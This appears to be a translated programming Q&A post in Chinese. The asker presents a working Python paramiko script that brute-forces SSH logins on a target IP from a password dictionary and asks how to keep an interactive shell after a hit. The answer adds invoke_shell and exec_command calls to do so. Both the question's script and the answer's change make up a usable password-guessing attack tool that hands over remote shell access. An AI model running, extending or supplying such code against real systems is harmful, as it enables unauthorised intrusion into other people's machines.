Question

我写了这个python脚本，它通过密码字典并尝试在给定的IP地址上进行SSH登录。该脚本工作正常，因为它正确地提供了密码。但问题是我无法保留远程计算机的SSH shell。我在response == 0部分之前执行sys.exit(0)检查后尝试插入一些代码，甚至删除了sys.exit(0);但到目前为止他们都没有工作过。我试图弄乱subprocess＆amp; Popen但仍然没有成功。我想要的只是我的程序不退出，而是在遇到正确的密码时提供SSH shell。

#!/bin/env/ python3

import paramiko, os, sys, socket
from subprocess import Popen, PIPE

global username, pass_file, target_ip

try:
    username = input ("Please enter the username at the target machine> ")
    path = input ("Please enter the path & name of the file containing the passwords> ") 
    if os.path.exists(path) == False:   
        print ("The password file does not exist!")
        sys.exit(1)
    target_ip = input ("Please enter the IP address of the target> ")
    try:
        socket.inet_aton(target_ip)
    except socket.error as e:
        print (e)
        sys.exit(2)
except KeyboardInterrupt:
    print ("\nUser has interrupted the execution!\n")


def ssh_connect(password, ret_code = 0):
    ssh = paramiko.SSHClient()                                      
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target_ip, port=22, username=username,password=password)
    except paramiko.AuthenticationException:
        print ("Failed to authenticate! Password: %s" % (password))
        ret_code = 3
    except socket.error as e:
        ret_code = 4

    ssh.close()
    return ret_code

pass_file = open(path, 'r', encoding="ISO-8859-1")                  

for i in pass_file.readlines():
    password = i.strip("\n")

    try:
        response = ssh_connect(password)

        if response == 0:
            print ("Login successful! Password is: %s" % (password))
            # insert function call here
            sys.exit(0) 
        elif response == 1:
            print ("Login failed! Incorrect password: %s " % (password))
        elif response == 2:
            print ("Connection to the target failed!")
            sys.exit(5)

    except Exception as e:
        print (e)
        pass

pass_file.close()

也许您想要的是输入一些要由ssh终端执行的文本？或者您也可以使用invoke_shell

def ssh_connect(password, ret_code = 0):
    ssh = paramiko.SSHClient()                                      
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target_ip, port=22, username=username,password=password)
        cmd = input("type something")  # will wait user input
        # ssh.exec_command(cmd)  # will execute what the user entered
        # or
        ssh.invoke_shell()  # will open an interactive shell
    except paramiko.AuthenticationException:
        print ("Failed to authenticate! Password: %s" % (password))
        ret_code = 3
    except socket.error as e:
        ret_code = 4

    ssh.close()  # maybe don't close it if you want to keep the shell open
    return ret_code

Python中的Linux Bruteforce。脚本工作正常，但我没有得到shell
